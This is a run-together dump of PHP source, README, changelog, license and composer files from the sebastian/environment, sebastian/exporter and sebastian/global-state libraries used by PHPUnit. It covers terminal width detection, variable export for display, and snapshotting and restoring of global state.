preg_match('#\d+ (\d+)#', shell_exec('stty size') ?: '', $match) === 1) { if ((int) $match[1] > 0) { return (int) $match[1]; } } if (function_exists('shell_exec') && preg_match('#columns = (\d+);#', shell_exec('stty') ?: '', $match) === 1) { if ((int) $match[1] > 0) { return (int) $match[1]; } } return 80; } /** * @codeCoverageIgnore */ private function getNumberOfColumnsWindows(): int { $ansicon = getenv('ANSICON'); $columns = 80; if (is_string($ansicon) && preg_match('/^(\d+)x\d+ \(\d+x(\d+)\)$/', trim($ansicon), $matches)) { $columns = (int) $matches[1]; } elseif (function_exists('proc_open')) { $process = proc_open( 'mode CON', [ 1 => ['pipe', 'w'], 2 => ['pipe', 'w'], ], $pipes, null, null, ['suppress_errors' => true], ); if (is_resource($process)) { $info = stream_get_contents($pipes[1]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); if (preg_match('/--------+\r?\n.+?(\d+)\r?\n.+?(\d+)\r?\n/', $info, $matches)) { $columns = (int) $matches[2]; } } } return $columns - 1; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Environment; use const PHP_BINARY; use const PHP_BINDIR; use const PHP_MAJOR_VERSION; use const PHP_SAPI; use const PHP_VERSION; use function array_map; use function array_merge; use function escapeshellarg; use function explode; use function extension_loaded; use function ini_get; use function is_readable; use function parse_ini_file; use function php_ini_loaded_file; use function php_ini_scanned_files; use function phpversion; use function sprintf; use function strrpos; final class Runtime { private static string $rawBinary; private static bool $initialized = false; /** * Returns true when Xdebug or PCOV is available or * the runtime used is PHPDBG. */ public function canCollectCodeCoverage(): bool { return $this->hasXdebug() || $this->hasPCOV() || $this->hasPHPDBGCodeCoverage(); } /** * Returns true when Zend OPcache is loaded, enabled, * and is configured to discard comments. */ public function discardsComments(): bool { if (!$this->isOpcacheActive()) { return false; } if (ini_get('opcache.save_comments') !== '0') { return false; } return true; } /** * Returns true when Zend OPcache is loaded, enabled, * and is configured to perform just-in-time compilation. */ public function performsJustInTimeCompilation(): bool { if (PHP_MAJOR_VERSION < 8) { return false; } if (!$this->isOpcacheActive()) { return false; } if (ini_get('opcache.jit_buffer_size') === '0') { return false; } $jit = ini_get('opcache.jit'); if (($jit === 'disable') || ($jit === 'off')) { return false; } if (strrpos($jit, '0') === 3) { return false; } return true; } /** * Returns the raw path to the binary of the current runtime. */ public function getRawBinary(): string { if (self::$initialized) { return self::$rawBinary; } if (PHP_BINARY !== '') { self::$rawBinary = PHP_BINARY; self::$initialized = true; return self::$rawBinary; } // @codeCoverageIgnoreStart $possibleBinaryLocations = [ PHP_BINDIR . '/php', PHP_BINDIR . '/php-cli.exe', PHP_BINDIR . '/php.exe', ]; foreach ($possibleBinaryLocations as $binary) { if (is_readable($binary)) { self::$rawBinary = $binary; self::$initialized = true; return self::$rawBinary; } } self::$rawBinary = 'php'; self::$initialized = true; return self::$rawBinary; // @codeCoverageIgnoreEnd } /** * Returns the escaped path to the binary of the current runtime. */ public function getBinary(): string { return escapeshellarg($this->getRawBinary()); } public function getNameWithVersion(): string { return $this->getName() . ' ' . $this->getVersion(); } public function getNameWithVersionAndCodeCoverageDriver(): string { if ($this->hasPCOV()) { return sprintf( '%s with PCOV %s', $this->getNameWithVersion(), phpversion('pcov'), ); } if ($this->hasXdebug()) { return sprintf( '%s with Xdebug %s', $this->getNameWithVersion(), phpversion('xdebug'), ); } return $this->getNameWithVersion(); } public function getName(): string { if ($this->isPHPDBG()) { // @codeCoverageIgnoreStart return 'PHPDBG'; // @codeCoverageIgnoreEnd } return 'PHP'; } public function getVendorUrl(): string { return 'https://www.php.net/'; } public function getVersion(): string { return PHP_VERSION; } /** * Returns true when the runtime used is PHP and Xdebug is loaded. */ public function hasXdebug(): bool { return $this->isPHP() && extension_loaded('xdebug'); } /** * Returns true when the runtime used is PHP without the PHPDBG SAPI. */ public function isPHP(): bool { return !$this->isPHPDBG(); } /** * Returns true when the runtime used is PHP with the PHPDBG SAPI. */ public function isPHPDBG(): bool { return PHP_SAPI === 'phpdbg'; } /** * Returns true when the runtime used is PHP with the PHPDBG SAPI * and the phpdbg_*_oplog() functions are available (PHP >= 7.0). */ public function hasPHPDBGCodeCoverage(): bool { return $this->isPHPDBG(); } /** * Returns true when the runtime used is PHP with PCOV loaded and enabled. */ public function hasPCOV(): bool { return $this->isPHP() && extension_loaded('pcov') && ini_get('pcov.enabled'); } /** * Parses the loaded php.ini file (if any) as well as all * additional php.ini files from the additional ini dir for * a list of all configuration settings loaded from files * at startup. Then checks for each php.ini setting passed * via the `$values` parameter whether this setting has * been changed at runtime. Returns an array of strings * where each string has the format `key=value` denoting * the name of a changed php.ini setting with its new value. * * @return string[] */ public function getCurrentSettings(array $values): array { $diff = []; $files = []; if ($file = php_ini_loaded_file()) { $files[] = $file; } if ($scanned = php_ini_scanned_files()) { $files = array_merge( $files, array_map( 'trim', explode(",\n", $scanned), ), ); } foreach ($files as $ini) { $config = parse_ini_file($ini, true); foreach ($values as $value) { $set = ini_get($value); if (empty($set)) { continue; } if ((!isset($config[$value]) || ($set !== $config[$value]))) { $diff[$value] = sprintf('%s=%s', $value, $set); } } } return $diff; } private function isOpcacheActive(): bool { if (!extension_loaded('Zend OPcache')) { return false; } if ((PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') && ini_get('opcache.enable_cli') === '1') { return true; } if (PHP_SAPI !== 'cli' && PHP_SAPI !== 'phpdbg' && ini_get('opcache.enable') === '1') { return true; } return false; } } # ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. ## [5.1.4] - 2025-09-24 ### Changed * Suppress `unexpected NAN value was coerced to string` warning triggered on PHP 8.5 ## [5.1.3] - 2025-09-22 ### Changed * Suppress `not representable as an int, cast occurred` warning triggered on PHP 8.5 ## [5.1.2] - 2024-03-02 ### Changed * Do not use implicitly nullable parameters ## [5.1.1] - 2023-09-24 ### Changed * [#52](https://github.com/sebastianbergmann/exporter/pull/52): Optimize export of large arrays and object graphs ## [5.1.0] - 2023-09-18 ### Changed * [#51](https://github.com/sebastianbergmann/exporter/pull/51): Export arrays using short array syntax [5.1.4]: https://github.com/sebastianbergmann/exporter/compare/5.1.3...5.1.4 [5.1.3]: https://github.com/sebastianbergmann/exporter/compare/5.1.2...5.1.3 [5.1.2]: https://github.com/sebastianbergmann/exporter/compare/5.1.1...5.1.2 [5.1.1]: https://github.com/sebastianbergmann/exporter/compare/5.1.0...5.1.1 [5.1.0]: https://github.com/sebastianbergmann/exporter/compare/5.0.1...5.1.0 BSD 3-Clause License Copyright (c) 2002-2025, Sebastian Bergmann All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. [![Latest Stable Version](https://poser.pugx.org/sebastian/exporter/v/stable.png)](https://packagist.org/packages/sebastian/exporter) [![CI Status](https://github.com/sebastianbergmann/exporter/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/exporter/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/exporter/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/exporter) [![codecov](https://codecov.io/gh/sebastianbergmann/exporter/branch/main/graph/badge.svg)](https://codecov.io/gh/sebastianbergmann/exporter) # sebastian/exporter This component provides the functionality to export PHP variables for visualization. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/exporter ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/exporter ``` ## Usage Exporting: ```php '' 'string' => '' 'code' => 0 'file' => '/home/sebastianbergmann/test.php' 'line' => 34 'previous' => null ) */ print $exporter->export(new Exception); ``` ## Data Types Exporting simple types: ```php export(46); // 4.0 print $exporter->export(4.0); // 'hello, world!' print $exporter->export('hello, world!'); // false print $exporter->export(false); // NAN print $exporter->export(acos(8)); // -INF print $exporter->export(log(0)); // null print $exporter->export(null); // resource(13) of type (stream) print $exporter->export(fopen('php://stderr', 'w')); // Binary String: 0x000102030405 print $exporter->export(chr(0) . chr(1) . chr(2) . chr(3) . chr(4) . chr(5)); ``` Exporting complex types: ```php Array &1 ( 0 => 1 1 => 2 2 => 3 ) 1 => Array &2 ( 0 => '' 1 => 0 2 => false ) ) */ print $exporter->export(array(array(1,2,3), array("",0,FALSE))); /* Array &0 ( 'self' => Array &1 ( 'self' => Array &1 ) ) */ $array = array(); $array['self'] = &$array; print $exporter->export($array); /* stdClass Object &0000000003a66dcc0000000025e723e2 ( 'self' => stdClass Object &0000000003a66dcc0000000025e723e2 ) */ $obj = new stdClass(); $obj->self = $obj; print $exporter->export($obj); ``` Compact exports: ```php shortenedExport(array()); // Array (...) print $exporter->shortenedExport(array(1,2,3,4,5)); // stdClass Object () print $exporter->shortenedExport(new stdClass); // Exception Object (...) print $exporter->shortenedExport(new Exception); // this\nis\na\nsuper\nlong\nstring\nt...\nspace print $exporter->shortenedExport( <<=8.1", "ext-mbstring": "*", "sebastian/recursion-context": "^5.0" }, "require-dev": { "phpunit/phpunit": "^10.5" }, "autoload": { "classmap": [ "src/" ] }, "autoload-dev": { "classmap": [ "tests/_fixture" ] }, "extra": { "branch-alias": { "dev-main": "5.1-dev" } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Exporter; use function bin2hex; use function count; use function get_resource_type; use function gettype; use function implode; use function ini_get; use function ini_set; use function is_array; use function is_bool; use function is_float; use function is_object; use function is_resource; use function is_string; use function mb_strlen; use function mb_substr; use function preg_match; use function spl_object_id; use function sprintf; use function str_repeat; use function str_replace; use function var_export; use BackedEnum; use SebastianBergmann\RecursionContext\Context; use SplObjectStorage; use UnitEnum; final class Exporter { /** * Exports a value as a string. * * The output of this method is similar to the output of print_r(), but * improved in various aspects: * * - NULL is rendered as "null" (instead of "") * - TRUE is rendered as "true" (instead of "1") * - FALSE is rendered as "false" (instead of "") * - Strings are always quoted with single quotes * - Carriage returns and newlines are normalized to \n * - Recursion and repeated rendering is treated properly */ public function export(mixed $value, int $indentation = 0): string { return $this->recursiveExport($value, $indentation); } public function shortenedRecursiveExport(array &$data, ?Context $context = null): string { $result = []; $exporter = new self; if (!$context) { $context = new Context; } $array = $data; /* @noinspection UnusedFunctionResultInspection */ $context->add($data); foreach ($array as $key => $value) { if (is_array($value)) { if ($context->contains($data[$key]) !== false) { $result[] = '*RECURSION*'; } else { $result[] = sprintf('[%s]', $this->shortenedRecursiveExport($data[$key], $context)); } } else { $result[] = $exporter->shortenedExport($value); } } return implode(', ', $result); } /** * Exports a value into a single-line string. * * The output of this method is similar to the output of * SebastianBergmann\Exporter\Exporter::export(). * * Newlines are replaced by the visible string '\n'. * Contents of arrays and objects (if any) are replaced by '...'. */ public function shortenedExport(mixed $value): string { if (is_string($value)) { $string = str_replace("\n", '', $this->export($value)); if (mb_strlen($string) > 40) { return mb_substr($string, 0, 30) . '...' . mb_substr($string, -7); } return $string; } if ($value instanceof BackedEnum) { return sprintf( '%s Enum (%s, %s)', $value::class, $value->name, $this->export($value->value), ); } if ($value instanceof UnitEnum) { return sprintf( '%s Enum (%s)', $value::class, $value->name, ); } if (is_object($value)) { return sprintf( '%s Object (%s)', $value::class, count($this->toArray($value)) > 0 ? '...' : '', ); } if (is_array($value)) { return sprintf( '[%s]', count($value) > 0 ? '...' : '', ); } return $this->export($value); } /** * Converts an object to an array containing all of its private, protected * and public properties. */ public function toArray(mixed $value): array { if (!is_object($value)) { return (array) $value; } $array = []; foreach ((array) $value as $key => $val) { // Exception traces commonly reference hundreds to thousands of // objects currently loaded in memory. Including them in the result // has a severe negative performance impact. if ("\0Error\0trace" === $key || "\0Exception\0trace" === $key) { continue; } // properties are transformed to keys in the following way: // private $propertyName => "\0ClassName\0propertyName" // protected $propertyName => "\0*\0propertyName" // public $propertyName => "propertyName" if (preg_match('/\0.+\0(.+)/', (string) $key, $matches)) { $key = $matches[1]; } // See https://github.com/php/php-src/commit/5721132 if ($key === "\0gcdata") { continue; } $array[$key] = $val; } // Some internal classes like SplObjectStorage do not work with the // above (fast) mechanism nor with reflection in Zend. // Format the output similarly to print_r() in this case if ($value instanceof SplObjectStorage) { foreach ($value as $_value) { $array['Object #' . spl_object_id($_value)] = [ 'obj' => $_value, 'inf' => $value->getInfo(), ]; } $value->rewind(); } return $array; } private function recursiveExport(mixed &$value, int $indentation, ?Context $processed = null): string { if ($value === null) { return 'null'; } if (is_bool($value)) { return $value ? 'true' : 'false'; } if (is_float($value)) { $precisionBackup = ini_get('precision'); ini_set('precision', '-1'); $valueAsString = @(string) $value; ini_set('precision', $precisionBackup); if ((string) @(int) $value === $valueAsString) { return $valueAsString . '.0'; } return $valueAsString; } if (gettype($value) === 'resource (closed)') { return 'resource (closed)'; } if (is_resource($value)) { return sprintf( 'resource(%d) of type (%s)', (int) $value, get_resource_type($value), ); } if ($value instanceof BackedEnum) { return sprintf( '%s Enum #%d (%s, %s)', $value::class, spl_object_id($value), $value->name, $this->export($value->value, $indentation), ); } if ($value instanceof UnitEnum) { return sprintf( '%s Enum #%d (%s)', $value::class, spl_object_id($value), $value->name, ); } if (is_string($value)) { // Match for most non-printable chars somewhat taking multibyte chars into account if (preg_match('/[^\x09-\x0d\x1b\x20-\xff]/', $value)) { return 'Binary String: 0x' . bin2hex($value); } return "'" . str_replace( '', "\n", str_replace( ["\r\n", "\n\r", "\r", "\n"], ['\r\n', '\n\r', '\r', '\n'], $value, ), ) . "'"; } $whitespace = str_repeat(' ', 4 * $indentation); if (!$processed) { $processed = new Context; } if (is_array($value)) { if (($key = $processed->contains($value)) !== false) { return 'Array &' . $key; } $array = $value; $key = $processed->add($value); $values = ''; if (count($array) > 0) { foreach ($array as $k => $v) { $values .= $whitespace . ' ' . $this->recursiveExport($k, $indentation) . ' => ' . $this->recursiveExport($value[$k], $indentation + 1, $processed) . ",\n"; } $values = "\n" . $values . $whitespace; } return 'Array &' . (string) $key . ' [' . $values . ']'; } if (is_object($value)) { $class = $value::class; if ($processed->contains($value) !== false) { return $class . ' Object #' . spl_object_id($value); } $processed->add($value); $values = ''; $array = $this->toArray($value); if (count($array) > 0) { foreach ($array as $k => $v) { $values .= $whitespace . ' ' . $this->recursiveExport($k, $indentation) . ' => ' . $this->recursiveExport($v, $indentation + 1, $processed) . ",\n"; } $values = "\n" . $values . $whitespace; } return $class . ' Object #' . spl_object_id($value) . ' (' . $values . ')'; } return var_export($value, true); } } # Changes in sebastian/global-state All notable changes in `sebastian/global-state` are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. ## [6.0.2] - 2024-03-02 ### Changed * Do not use implicitly nullable parameters ## [6.0.1] - 2023-07-19 ### Changed * Changed usage of `ReflectionProperty::setValue()` to be compatible with PHP 8.3 ## [6.0.0] - 2023-02-03 ### Changed * Renamed `SebastianBergmann\GlobalState\ExcludeList::addStaticAttribute()` to `SebastianBergmann\GlobalState\ExcludeList::addStaticProperty()` * Renamed `SebastianBergmann\GlobalState\ExcludeList::isStaticAttributeExcluded()` to `SebastianBergmann\GlobalState\ExcludeList::isStaticPropertyExcluded()` * Renamed `SebastianBergmann\GlobalState\Restorer::restoreStaticAttributes()` to `SebastianBergmann\GlobalState\Restorer::restoreStaticProperties()` * Renamed `SebastianBergmann\GlobalState\Snapshot::staticAttributes()` to `SebastianBergmann\GlobalState\Snapshot::staticProperties()` ### Removed * Removed `SebastianBergmann\GlobalState\Restorer::restoreFunctions()` * This component is no longer supported on PHP 7.3, PHP 7.4 and PHP 8.0 ## [5.0.5] - 2022-02-14 ### Fixed * [#34](https://github.com/sebastianbergmann/global-state/pull/34): Uninitialised typed static properties are not handled correctly ## [5.0.4] - 2022-02-10 ### Fixed * The `$includeTraits` parameter of `SebastianBergmann\GlobalState\Snapshot::__construct()` is not respected ## [5.0.3] - 2021-06-11 ### Changed * `SebastianBergmann\GlobalState\CodeExporter::globalVariables()` now generates code that is compatible with PHP 8.1 ## [5.0.2] - 2020-10-26 ### Fixed * `SebastianBergmann\GlobalState\Exception` now correctly extends `\Throwable` ## [5.0.1] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [5.0.0] - 2020-08-07 ### Changed * The `SebastianBergmann\GlobalState\Blacklist` class has been renamed to `SebastianBergmann\GlobalState\ExcludeList` ## [4.0.0] - 2020-02-07 ### Removed * This component is no longer supported on PHP 7.2 ## [3.0.2] - 2022-02-10 ### Fixed * The `$includeTraits` parameter of `SebastianBergmann\GlobalState\Snapshot::__construct()` is not respected ## [3.0.1] - 2020-11-30 ### Changed * Changed PHP version constraint in `composer.json` from `^7.2` to `>=7.2` ## [3.0.0] - 2019-02-01 ### Changed * `Snapshot::canBeSerialized()` now recursively checks arrays and object graphs for variables that cannot be serialized ### Removed * This component is no longer supported on PHP 7.0 and PHP 7.1 [6.0.2]: https://github.com/sebastianbergmann/global-state/compare/6.0.1...6.0.2 [6.0.1]: https://github.com/sebastianbergmann/global-state/compare/6.0.0...6.0.1 [6.0.0]: https://github.com/sebastianbergmann/global-state/compare/5.0.5...6.0.0 [5.0.5]: https://github.com/sebastianbergmann/global-state/compare/5.0.4...5.0.5 [5.0.4]: https://github.com/sebastianbergmann/global-state/compare/5.0.3...5.0.4 [5.0.3]: https://github.com/sebastianbergmann/global-state/compare/5.0.2...5.0.3 [5.0.2]: https://github.com/sebastianbergmann/global-state/compare/5.0.1...5.0.2 [5.0.1]: https://github.com/sebastianbergmann/global-state/compare/5.0.0...5.0.1 [5.0.0]: https://github.com/sebastianbergmann/global-state/compare/4.0.0...5.0.0 [4.0.0]: https://github.com/sebastianbergmann/global-state/compare/3.0.2...4.0.0 [3.0.2]: https://github.com/sebastianbergmann/phpunit/compare/3.0.1...3.0.2 [3.0.1]: https://github.com/sebastianbergmann/phpunit/compare/3.0.0...3.0.1 [3.0.0]: https://github.com/sebastianbergmann/phpunit/compare/2.0.0...3.0.0 BSD 3-Clause License Copyright (c) 2001-2024, Sebastian Bergmann All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. [![Latest Stable Version](https://poser.pugx.org/sebastian/global-state/v/stable.png)](https://packagist.org/packages/sebastian/global-state) [![CI Status](https://github.com/sebastianbergmann/global-state/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/global-state/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/global-state/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/global-state) [![codecov](https://codecov.io/gh/sebastianbergmann/global-state/branch/main/graph/badge.svg)](https://codecov.io/gh/sebastianbergmann/global-state) # sebastian/global-state Snapshotting of global state, factored out of PHPUnit into a stand-alone component. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/global-state ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/global-state ``` # Security Policy If you believe you have found a security vulnerability in the library that is developed in this repository, please report it to us through coordinated disclosure. **Please do not report security vulnerabilities through public GitHub issues, discussions, or pull requests.** Instead, please email `sebastian@phpunit.de`. Please include as much of the information listed below as you can to help us better understand and resolve the issue: * The type of issue * Full paths of source file(s) related to the manifestation of the issue * The location of the affected source code (tag/branch/commit or direct URL) * Any special configuration required to reproduce the issue * Step-by-step instructions to reproduce the issue * Proof-of-concept or exploit code (if possible) * Impact of the issue, including how an attacker might exploit the issue This information will help us triage your report more quickly. ## Web Context The library that is developed in this repository was either extracted from [PHPUnit](https://github.com/sebastianbergmann/phpunit) or developed specifically as a dependency for PHPUnit. The library is developed with a focus on development environments and the command-line. No specific testing or hardening with regard to using the library in an HTTP or web context or with untrusted input data is performed. The library might also contain functionality that intentionally exposes internal application data for debugging purposes. If the library is used in a web application, the application developer is responsible for filtering inputs or escaping outputs as necessary and for verifying that the used functionality is safe for use within the intended context. Vulnerabilities specific to the use outside a development context will be fixed as applicable, provided that the fix does not have an averse effect on the primary use case for development purposes. { "name": "sebastian/global-state", "description": "Snapshotting of global state", "keywords": ["global state"], "homepage": "https://www.github.com/sebastianbergmann/global-state", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "support": { "issues": "https://github.com/sebastianbergmann/global-state/issues", "security": "https://github.com/sebastianbergmann/global-state/security/policy" }, "prefer-stable": true, "config": { "platform": { "php": "8.1.0" }, "optimize-autoloader": true, "sort-packages": true }, "require": { "php": ">=8.1", "sebastian/object-reflector": "^3.0", "sebastian/recursion-context": "^5.0" }, "require-dev": { "ext-dom": "*", "phpunit/phpunit": "^10.0" }, "autoload": { "classmap": [ "src/" ] }, "autoload-dev": { "classmap": [ "tests/_fixture/" ], "files": [ "tests/_fixture/SnapshotFunctions.php" ] }, "extra": { "branch-alias": { "dev-main": "6.0-dev" } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\GlobalState; use const PHP_EOL; use function is_array; use function is_scalar; use function serialize; use function sprintf; use function var_export; final class CodeExporter { public function constants(Snapshot $snapshot): string { $result = ''; foreach ($snapshot->constants() as $name => $value) { $result .= sprintf( 'if (!defined(\'%s\')) define(\'%s\', %s);' . "\n", $name, $name, $this->exportVariable($value), ); } return $result; } public function globalVariables(Snapshot $snapshot): string { $result = <<<'EOT' call_user_func( function () { foreach (array_keys($GLOBALS) as $key) { unset($GLOBALS[$key]); } } ); EOT; foreach ($snapshot->globalVariables() as $name => $value) { $result .= sprintf( '$GLOBALS[%s] = %s;' . PHP_EOL, $this->exportVariable($name), $this->exportVariable($value), ); } return $result; } public function iniSettings(Snapshot $snapshot): string { $result = ''; foreach ($snapshot->iniSettings() as $key => $value) { $result .= sprintf( '@ini_set(%s, %s);' . "\n", $this->exportVariable($key), $this->exportVariable($value), ); } return $result; } private function exportVariable(mixed $variable): string { if (is_scalar($variable) || null === $variable || (is_array($variable) && $this->arrayOnlyContainsScalars($variable))) { return var_export($variable, true); } return 'unserialize(' . var_export(serialize($variable), true) . ')'; } private function arrayOnlyContainsScalars(array $array): bool { $result = true; foreach ($array as $element) { if (is_array($element)) { $result = $this->arrayOnlyContainsScalars($element); } elseif (!is_scalar($element) && null !== $element) { $result = false; } if ($result === false) { break; } } return $result; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\GlobalState; use function in_array; use function str_starts_with; use ReflectionClass; final class ExcludeList { private array $globalVariables = []; private array $classes = []; private array $classNamePrefixes = []; private array $parentClasses = []; private array $interfaces = []; private array $staticProperties = []; public function addGlobalVariable(string $variableName): void { $this->globalVariables[$variableName] = true; } public function addClass(string $className): void { $this->classes[] = $className; } public function addSubclassesOf(string $className): void { $this->parentClasses[] = $className; } public function addImplementorsOf(string $interfaceName): void { $this->interfaces[] = $interfaceName; } public function addClassNamePrefix(string $classNamePrefix): void { $this->classNamePrefixes[] = $classNamePrefix; } public function addStaticProperty(string $className, string $propertyName): void { if (!isset($this->staticProperties[$className])) { $this->staticProperties[$className] = []; } $this->staticProperties[$className][$propertyName] = true; } public function isGlobalVariableExcluded(string $variableName): bool { return isset($this->globalVariables[$variableName]); } /** * @psalm-param class-string $className */ public function isStaticPropertyExcluded(string $className, string $propertyName): bool { if (in_array($className, $this->classes, true)) { return true; } foreach ($this->classNamePrefixes as $prefix) { if (str_starts_with($className, $prefix)) { return true; } } $class = new ReflectionClass($className); foreach ($this->parentClasses as $type) { if ($class->isSubclassOf($type)) { return true; } } foreach ($this->interfaces as $type) { if ($class->implementsInterface($type)) { return true; } } return isset($this->staticProperties[$className][$propertyName]); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\GlobalState; use function array_diff; use function array_key_exists; use function array_keys; use function array_merge; use function in_array; use function is_array; use ReflectionClass; use ReflectionProperty; final class Restorer { public function restoreGlobalVariables(Snapshot $snapshot): void { $superGlobalArrays = $snapshot->superGlobalArrays(); foreach ($superGlobalArrays as $superGlobalArray) { $this->restoreSuperGlobalArray($snapshot, $superGlobalArray); } $globalVariables = $snapshot->globalVariables(); foreach (array_keys($GLOBALS) as $key) { if ($key !== 'GLOBALS' && !in_array($key, $superGlobalArrays, true) && !$snapshot->excludeList()->isGlobalVariableExcluded($key)) { if (array_key_exists($key, $globalVariables)) { $GLOBALS[$key] = $globalVariables[$key]; } else { unset($GLOBALS[$key]); } } } } public function restoreStaticProperties(Snapshot $snapshot): void { $current = new Snapshot($snapshot->excludeList(), false, false, false, false, true, false, false, false, false); $newClasses = array_diff($current->classes(), $snapshot->classes()); unset($current); foreach ($snapshot->staticProperties() as $className => $staticProperties) { foreach ($staticProperties as $name => $value) { $reflector = new ReflectionProperty($className, $name); $reflector->setValue(null, $value); } } foreach ($newClasses as $className) { $class = new ReflectionClass($className); $defaults = $class->getDefaultProperties(); foreach ($class->getProperties() as $property) { if (!$property->isStatic()) { continue; } $name = $property->getName(); if ($snapshot->excludeList()->isStaticPropertyExcluded($className, $name)) { continue; } if (!isset($defaults[$name])) { continue; } $property->setValue(null, $defaults[$name]); } } } private function restoreSuperGlobalArray(Snapshot $snapshot, string $superGlobalArray): void { $superGlobalVariables = $snapshot->superGlobalVariables(); if (isset($GLOBALS[$superGlobalArray], $superGlobalVariables[$superGlobalArray]) && is_array($GLOBALS[$superGlobalArray])) { $keys = array_keys( array_merge( $GLOBALS[$superGlobalArray], $superGlobalVariables[$superGlobalArray], ), ); foreach ($keys as $key) { if (isset($superGlobalVariables[$superGlobalArray][$key])) { $GLOBALS[$superGlobalArray][$key] = $superGlobalVariables[$superGlobalArray][$key]; } else { unset($GLOBALS[$superGlobalArray][$key]); } } } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\GlobalState; use function array_keys; use function array_merge; use function array_reverse; use function assert; use function func_get_args; use function get_declared_classes; use function get_declared_interfaces; use function get_declared_traits; use function get_defined_constants; use function get_defined_functions; use function get_included_files; use function in_array; use function ini_get_all; use function is_array; use function is_object; use function is_resource; use function is_scalar; use function serialize; use function unserialize; use ReflectionClass; use SebastianBergmann\ObjectReflector\ObjectReflector; use SebastianBergmann\RecursionContext\Context; use Throwable; /** * A snapshot of global state. */ class Snapshot { private ExcludeList $excludeList; private array $globalVariables = []; private array $superGlobalArrays = []; private array $superGlobalVariables = []; private array $staticProperties = []; private array $iniSettings = []; private array $includedFiles = []; private array $constants = []; private array $functions = []; private array $interfaces = []; private array $classes = []; private array $traits = []; public function __construct(?ExcludeList $excludeList = null, bool $includeGlobalVariables = true, bool $includeStaticProperties = true, bool $includeConstants = true, bool $includeFunctions = true, bool $includeClasses = true, bool $includeInterfaces = true, bool $includeTraits = true, bool $includeIniSettings = true, bool $includeIncludedFiles = true) { $this->excludeList = $excludeList ?: new ExcludeList; if ($includeConstants) { $this->snapshotConstants(); } if ($includeFunctions) { $this->snapshotFunctions(); } if ($includeClasses || $includeStaticProperties) { $this->snapshotClasses(); } if ($includeInterfaces) { $this->snapshotInterfaces(); } if ($includeGlobalVariables) { $this->setupSuperGlobalArrays(); $this->snapshotGlobals(); } if ($includeStaticProperties) { 